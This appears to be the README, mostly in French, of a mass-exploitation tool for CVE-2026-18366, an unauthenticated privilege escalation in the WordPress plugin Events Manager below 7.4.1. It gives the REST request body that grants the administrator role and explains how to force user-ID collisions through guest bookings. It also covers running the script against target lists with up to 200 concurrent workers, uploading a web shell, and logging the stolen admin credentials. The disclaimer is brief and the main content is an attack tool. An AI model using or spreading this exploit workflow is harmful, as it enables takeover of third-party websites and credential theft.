
Events Manager < 7.4.1 - Élévation de privilèges non authentifiée vers Administrateur
Events Manager < 7.4.1 - Élévation de privilèges non authentifiée vers Administrateur
La vulnérabilité se trouve dans EM\Archetypes::map_meta_cap dans classes/em-archetypes.php. Le plugin ne restreint pas correctement son mappage de capacités :
event ou location, il efface $caps = []edit_user, delete_user ou promote_userhas_cap() renvoie true, y compris pour l'utilisateur 0 (invité)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
Condition : {id} doit être égal à wp_posts.ID d'un CPT event ou location.
⚠️ L'API REST non authentifiée ne requiert pas de nonce (aucun cookie de session).
Les réservations invitées (dbem_bookings_anonymous=1 par défaut) créent de vrais utilisateurs WP, permettant de forcer une collision. Le nonce de réservation est publiquement disponible sur les formulaires d'événements.
pip install aiohttp
python CVE-2026-18366.py
Le script demandera :
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| Option | Description |
|---|---|
-l, --list | Chemin vers le fichier contenant les URL cibles |
-s, --speed | Nombre de workers concurrents (1-200) |
--timeout | Délai d'expiration des requêtes en secondes (défaut : 20) |
Créez un fichier list.txt avec une cible par ligne :
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
Les compromissions réussies sont enregistrées dans adminS.txt :
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
Si vous êtes un administrateur WordPress :
| Attribut | Détails |
|---|
| CVE ID | CVE-2026-18366 |
| Gravité | 🔴 CRITIQUE (CVSS 9.8) |
| Plugin | Events Manager pour WordPress |
| Versions affectées | < 7.4.1 |
| Type de vulnérabilité | Élévation de privilèges non authentifiée |
| Vecteur d'attaque | Réseau |
| Authentification requise | Aucune |